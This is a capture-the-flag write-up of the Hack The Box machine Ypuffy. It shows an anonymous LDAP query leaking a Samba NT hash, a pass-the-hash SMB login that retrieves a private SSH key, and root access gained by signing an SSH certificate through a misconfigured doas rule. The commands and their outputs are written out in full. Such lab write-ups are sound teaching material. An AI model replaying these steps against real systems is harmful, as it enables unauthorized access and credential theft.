HTB Writeup: Ypuffy

Posted on Mon 11 February 2019 in Writeups

netmon OS OpenBSD
Author AuxSarge
Difficulty Medium
Points 30
Released 15-09-2018
IP 10.10.10.107


Summary

Writeup of 30 points Hack The Box machine - Ypuffy. We are dealing here with refreshing OpenBSD. User flag is obtainable after exploiting LDAP misconfiguration. Root flag is achievable after leveraging doas misconfiguration.

Reconnaissance

I start basic enumeration with nmap. My usual approach is to begin with scanning the 1024 most popular TCP ports and execute the default nmap scripts.

nmap -v -T4 -A -oA nmap ${targetip} 2>/dev/null 1>${targetip}/1024_${targetip}

Then I try to see if something interesting is accessible via UDP.

nmap -v -T4 -Pn -sU --top-ports 200 ${targetip} 2>/dev/null 1>${targetip}/udp_200_${targetip}

The reason why I choose to scan only 200 most popular ports is purely due to performance reasons. UDP scanning is significant slower and thorough scanning should be performed only when we have suspicion that there might be some service listening on the other side. Or a hunch. That works too :).

From two initial scans I usually have some material to work further. However I always perform additional scans, which are:

  • scanning all 65535 TCP ports (try to never miss a thing)
  • detailed scanning (-sV -oX) on open ports, both TCP and UDP

In case of Ypuffy initial scan revealed following TCP services, output with nmap scripts:

Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
|   256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_  256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (EdDSA)
80/tcp  open  http        OpenBSD httpd
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
(...)
Uptime guess: 0.000 days (since Thu Sep 20 09:25:58 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: -3m33s, deviation: 0s, median: -3m33s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6)
|   Computer name: ypuffy
|   NetBIOS computer name: YPUFFY\x00
|   Domain name: hackthebox.htb
|   FQDN: ypuffy.hackthebox.htb
|_  System time: 2018-09-20T03:22:30-04:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: ERROR: Script execution failed (use -d to debug)

and scan for full TCP port range:

22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
80/tcp  open  http        OpenBSD httpd
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Initial UDP scan showed nothing interesting and since we don't have any other indicators that some UDP-based service might be running (on public interface and be useful in terms of pentesting), lets just leave it. I also lauch my usual scripts agains HTTP server (nikto and dirbuser | gobuster) but they didn't come back with anything interesting. Side note: check out IppSec video tutorial for this (link at the end of article), because he is showing in how cool way nmap is determining that this particular HTTP server is OpenBSD httpd. As we also have Samba service present, it is useful to run some standard tests (enum4linux, smbmap) with null session. But the fact that nmap didn't showed us this already, should warn us not to have high hopes for the result.

However, there is definitly something interesting worth checking.

389/tcp open  ldap        (Anonymous bind OK)

Nmap scans shows us a (most likely) misconfigured LDAP server allowing anonymous login. So lets dig deeper.

Exploitation

Lets use nmap scripting engine and predefined scripts once again.

root@kali:~/HTB_machines/10.10.10.107# nmap -p389 -Pn -T3 10.10.10.107 --script=ldap*

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-20 09:53 CEST
Nmap scan report for 10.10.10.107
Host is up (0.024s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       supportedLDAPVersion: 3
|       namingContexts: dc=hackthebox,dc=htb
|       supportedExtension: 1.3.6.1.4.1.1466.20037
|_      subschemaSubentry: cn=schema
| ldap-search:
|   Context: dc=hackthebox,dc=htb
|     dn: dc=hackthebox,dc=htb
|         dc: hackthebox
|         objectClass: top
|         objectClass: domain
|     dn: ou=passwd,dc=hackthebox,dc=htb
|         ou: passwd
|         objectClass: top
|         objectClass: organizationalUnit
|     dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
|         uid: bob8791
|         cn: Bob
|         objectClass: account
|         objectClass: posixAccount
|         objectClass: top
|         userPassword: {BSDAUTH}bob8791
|         uidNumber: 5001
|         gidNumber: 5001
|         gecos: Bob
|         homeDirectory: /home/bob8791
|         loginShell: /bin/ksh
|     dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
|         uid: alice1978
|         cn: Alice
|         objectClass: account
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: sambaSamAccount
|         userPassword: {BSDAUTH}alice1978
|         uidNumber: 5000
|         gidNumber: 5000
|         gecos: Alice
|         homeDirectory: /home/alice1978
|         loginShell: /bin/ksh
|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
|         displayName: Alice
|         sambaAcctFlags: [U          ]
|         sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
|         sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
|         sambaPwdLastSet: 1532916644
|     dn: ou=group,dc=hackthebox,dc=htb
|         ou: group
|         objectClass: top
|         objectClass: organizationalUnit
|     dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: bob8791
|         userPassword: {crypt}*
|         gidNumber: 5001
|     dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: alice1978
|         userPassword: {crypt}*
|         gidNumber: 5000
|     dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
|         sambaDomainName: YPUFFY
|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464
|         sambaAlgorithmicRidBase: 1000
|         objectclass: sambaDomain
|         sambaNextUserRid: 1000
|         sambaMinPwdLength: 5
|         sambaPwdHistoryLength: 0
|         sambaLogonToChgPwd: 0
|         sambaMaxPwdAge: -1
|         sambaMinPwdAge: 0
|         sambaLockoutDuration: 30
|         sambaLockoutObservationWindow: 30
|         sambaLockoutThreshold: 0
|         sambaForceLogoff: -1
|         sambaRefuseMachinePwdChange: 0
|_        sambaNextRid: 1001

Nmap done: 1 IP address (1 host up) scanned in 600.09 seconds

Ok, this looks promissing. From above output we have several nice information:

  • it is highly possible that there are two users: alice1978 and bob8791
  • we obtained Samba NT password hash: sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B for alice1978

As we have hash we have usual option to try to crack it. My usual approach is to use hashcat or john with rockyou dictionary. But with Samba we have other, cool option.

Pass-the-hash

For this kind of attact I like to use smbmap. There are of course other possibilities, like e.g. smbclient - which might be more user-friendly or intuitive. The choice is yours.

root@kali:~# smbmap -h
usage: smbmap.py [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD]
             [-s SHARE] [-d DOMAIN] [-P PORT] [-x COMMAND] [-L | -R [PATH]
             | -r [PATH]] [-A PATTERN] [-q] [--depth DEPTH] [-F PATTERN]
             [--search-path PATH] [--download PATH] [--upload SRC DST]
             [--delete PATH TO FILE] [--skip]

(...)
$ smbmap -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
(...)

However we need to remember that for pass hash attack we need to pass NT hash with LM hash (normal NTLM hash). Most likely we could pass almost any gibberish (but LM hash format), because LM hash is obsolite, but to be extra sure that we are not failing, we should pass blank part. And what is hash from blank? Well the easiest way to find out is to duckduckgo it. Or google it, if you are not cool ;). And the answer is: aad3b435b51404eeaad3b435b51404ee. Yup. All the way right in front of you. More you can read here.

So lets check if it will work.

root@kali:~/HTB_machines/10.10.10.107# smbmap -H 10.10.10.107 -u 'alice1978' -p 'aad3b435b51404eeaad3b435b51404ee:0b186e661bbdbdcf6047784de8b9fd8b'
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 10.10.10.107...
[+] IP: 10.10.10.107:445    Name: 10.10.10.107
    Disk                                                    Permissions
        ----                                                        -----------
    alice                                                   READ, WRITE
    IPC$                                                    NO ACCESS

After looking around we will find one file called my_private_key.ppk. Again, you can use mutiple tools to get it, I used smbmap.

smbmap -H 10.10.10.107 -u 'alice1978' -p 'aad3b435b51404eeaad3b435b51404ee:0b186e661bbdbdcf6047784de8b9fd8b' --download 'alice/my_private_key.ppk'

PPK extension suggest Putty Private Key and the content of the file acknowledges that. In order to use it in Linux enviroment (with openssh client), it is needed to convert it. It could be easily done with puttygen tool from putty-tools package.

puttygen 10.10.10.107-alice_my_private_key.ppk -O private-openssh -o alice_id_rsa

Now final moment and we have access to user.txt.

root@kali:~/HTB_machines/10.10.10.107# ssh alice1978@10.10.10.107 -i alice_id_rsa
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy$ ls -la
total 116
drwxr-x---  4 alice1978  alice1978    512 Sep 20 07:17 .
drwxr-xr-x  5 root       wheel        512 Jul 30 21:05 ..
-rw-r--r--  1 alice1978  alice1978     87 Mar 24 16:12 .Xdefaults
-rw-r--r--  1 alice1978  alice1978    771 Mar 24 16:12 .cshrc
-rw-r--r--  1 alice1978  alice1978    101 Mar 24 16:12 .cvsrc
-rw-r--r--  1 alice1978  alice1978    359 Mar 24 16:12 .login
-rw-r--r--  1 alice1978  alice1978    175 Mar 24 16:12 .mailrc
-rw-r--r--  1 alice1978  alice1978    215 Mar 24 16:12 .profile
drwx------  2 alice1978  alice1978    512 Sep 21 05:34 .ssh
-rwxr-xr-x  1 alice1978  alice1978  36801 Sep 20 06:01 unix
-r--------  1 alice1978  alice1978     33 Jul 30 22:40 user.txt
drwxr-x---  2 alice1978  alice1978    512 Sep 21 06:54 windir
ypuffy$ cat user.txt
aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXb

Post exploitation

Ok, so now we must look around. Since this is OpenBSD I ran unix-privesc-check with detailed flag. It showed me bunch of information but nothing caught me eye. Well except one possible attack vector against postgresql.

Processing startup script /etc/rc.d/postgresql
    Checking if anyone except root can change /etc/rc.d/postgresql
    Checking if anyone except root can change /usr/local/bin/pg_ctlx0a
    Checking if anyone except root can change /var/postgresql/datax0a
WARNING: /etc/rc.d/postgresql is run by root at startup. /etc/rc.d/postgresql contains the string /var/postgresql/datax0a. The user _postgresql can write to /var/postgresql
    Checking if anyone except root can change /var/postgresql/logfilex0a
WARNING: /etc/rc.d/postgresql is run by root at startup. /etc/rc.d/postgresql contains the string /var/postgresql/logfilex0a. The user _postgresql can write to /var/postgresql

But after checking it did not look promissing.

So other approach needed to be applied. Lets see who we have and what we have. There were three users present:

  • alice1978
  • bob8791
  • userca

userca looks odd. But first lets try to do some standard checks. Great guideline from g0tmi1k, in early stage of post exploitation phase, recommends to answer following question:

  • Who are you?
  • Who is logged in?
  • Who has been logged in?
  • Who else is there?
  • Who can do what?

For the last but one question we already have answer. But we still need to try to determine what can we do. Since this is OpenBSD, lets check what could we use by listing binaries owned by root with SUID bit set (actually it is done by unix-privesc-check as well).

############################################
Checking SUID programs
############################################
Checking SUID-root program /usr/bin/chfn: -r-sr-xr-x  3 root  bin  26888 Mar 24 16:12 /usr/bin/chfn
Checking SUID-root program /usr/bin/chpass: -r-sr-xr-x  3 root  bin  26888 Mar 24 16:12 /usr/bin/chpass
Checking SUID-root program /usr/bin/chsh: -r-sr-xr-x  3 root  bin  26888 Mar 24 16:12 /usr/bin/chsh
Checking SUID-root program /usr/bin/doas: -r-sr-xr-x  1 root  bin  26456 Mar 24 16:12 /usr/bin/doas
Checking SUID-root program /usr/bin/lpr: -r-sr-sr-x  1 root  daemon  30472 Mar 24 16:12 /usr/bin/lpr
Checking SUID-root program /usr/bin/lprm: -r-sr-sr-x  1 root  daemon  26360 Mar 24 16:12 /usr/bin/lprm
Checking SUID-root program /usr/bin/passwd: -r-sr-xr-x  1 root  bin  22408 Mar 24 16:12 /usr/bin/passwd
Checking SUID-root program /usr/bin/su: -r-sr-xr-x  1 root  bin  18048 Mar 24 16:12 /usr/bin/su
Checking SUID-root program /usr/libexec/lockspool: -r-sr-xr-x  1 root  bin  9856 Mar 24 16:12 /usr/libexec/lockspool
Checking SUID-root program /usr/libexec/ssh-keysign: -r-sr-xr-x  1 root  bin  427816 Mar 24 16:12 /usr/libexec/ssh-keysign
Checking SUID-root program /usr/local/libexec/dbus-daemon-launch-helper: -rwsr-x---  1 root  _dbus  55264 Mar 27 12:07 /usr/local/libexec/dbus-daemon-launch-helper
Checking SUID-root program /usr/sbin/authpf: -r-sr-sr-x  2 root  authpf  22392 Mar 24 16:12 /usr/sbin/authpf
Checking SUID-root program /usr/sbin/authpf-noip: -r-sr-sr-x  2 root  authpf  22392 Mar 24 16:12 /usr/sbin/authpf-noip
Checking SUID-root program /usr/sbin/pppd: -r-sr-x---  1 root  network  143360 Mar 24 16:12 /usr/sbin/pppd
Checking SUID-root program /usr/sbin/traceroute: -r-sr-xr-x  2 root  bin  34512 Mar 24 16:12 /usr/sbin/traceroute
Checking SUID-root program /usr/sbin/traceroute6: -r-sr-xr-x  2 root  bin  34512 Mar 24 16:12 /usr/sbin/traceroute6
Checking SUID-root program /usr/X11R6/bin/Xorg: -rwsr-xr-x  1 root  bin  2670386 Mar 24 16:39 /usr/X11R6/bin/Xorg
Checking SUID-root program /sbin/ping: -r-sr-xr-x  2 root  bin  334168 Mar 24 16:12 /sbin/ping
Checking SUID-root program /sbin/ping6: -r-sr-xr-x  2 root  bin  334168 Mar 24 16:12 /sbin/ping6
Checking SUID-root program /sbin/shutdown: -r-sr-x---  1 root  operator  256448 Mar 24 16:12 /sbin/shutdown

So we don't see Linux-loved sudo, or even pkexec. But we have doas. So lets check the configuration:

ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

Looking interesting. It seems that we are able to generate ssh key as userca. But how can we leverage that? Maybe there is something interesting in sshd config.

ypuffy$ cat /etc/ssh/sshd_config
#   $OpenBSD: sshd_config,v 1.102 2018/02/16 02:32:40 djm Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile  .ssh/authorized_keys

#AuthorizedPrincipalsFile none

AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody

TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
#PermitEmptyPasswords no

# Change to no to disable s/key passwords
ChallengeResponseAuthentication no

AllowAgentForwarding no
AllowTcpForwarding no
#GatewayPorts no
X11Forwarding no
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
#UseLogin no
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# override default of no subsystems
Subsystem   sftp    /usr/libexec/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#   X11Forwarding no
#   AllowTcpForwarding no
#   PermitTTY no
#   ForceCommand cvs server

Definitely interesting.

#AuthorizedPrincipalsFile none

AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u AuthorizedKeysCommandUser nobody

TrustedUserCAKeys /home/userca/ca.pub AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u

AuthorizedPrincipalsCommandUser nobody

So we are dealing here with OpenSSH certificates and principals. Side note: if you have serveral machines/containers which you are accessing with ssh - above this is the technology you would like to utilize. But now we would like to try to exploit it in order to escalate our privileges.

Privilege escalation

Lets see if we can obtain principal for user root

ypuffy$ /usr/local/bin/curl -g 'http://127.0.0.1/sshauth?type=principals&username=root'
3m3rgencyB4ckd00r

Bingo! Rest seems to be easy. We need to generate pair of ssh keys and sing it with principal string 3m3rgencyB4ckd00r using CA from userca. So lets do it.

ypuffy$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/alice1978/.ssh/id_rsa): /var/tmp/142/certs/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /var/tmp/142/certs/id_rsa.
Your public key has been saved in /var/tmp/142/certs/id_rsa.pub.
The key fingerprint is:
SHA256:S/79foO+rJ6o0NKes4ce3mgJwBZMcDeHTRNHtHNtBOs alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[RSA 2048]----+
| .+o o+=++ ...   |
|  .o..o.o . +    |
|  . .    o o o   |
|   +      + .    |
|  . .   S  E     |
|     .oo .       |
|     o.+=     .  |
|      ===o..o. ..|
|      oO=oo++*+..|
+----[SHA256]-----+
ypuffy$ ls -la
total 16
drwxrwxrwx  2 alice1978  wheel   512 Sep 22 12:04 .
drwxrwxrwx  3 alice1978  wheel   512 Sep 22 12:02 ..
-rw-------  1 alice1978  wheel  1675 Sep 22 12:04 id_rsa
-rw-r--r--  1 alice1978  wheel   413 Sep 22 12:04 id_rsa.pub
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I root -n 3m3rgencyB4ckd00r /var/tmp/142/certs/id_rsa.pub
Signed user key /var/tmp/142/certs/id_rsa-cert.pub: id "root" serial 0 for 3m3rgencyB4ckd00r valid forever
ypuffy$ ls -la
total 20
drwxrwxrwx  2 alice1978  wheel   512 Sep 22 12:04 .
drwxrwxrwx  3 alice1978  wheel   512 Sep 22 12:02 ..
-rw-------  1 alice1978  wheel  1675 Sep 22 12:04 id_rsa
-rw-r--r--  1 userca     wheel  1526 Sep 22 12:04 id_rsa-cert.pub
-rw-r--r--  1 alice1978  wheel   413 Sep 22 12:04 id_rsa.pub
ypuffy$ ssh root@127.0.0.1 -i id_rsa
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
ypuffy# cat root.txt
1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXf

Voilà.

Official writeup

As always I highly recommend watching great IppSec video walkthrough for this machine.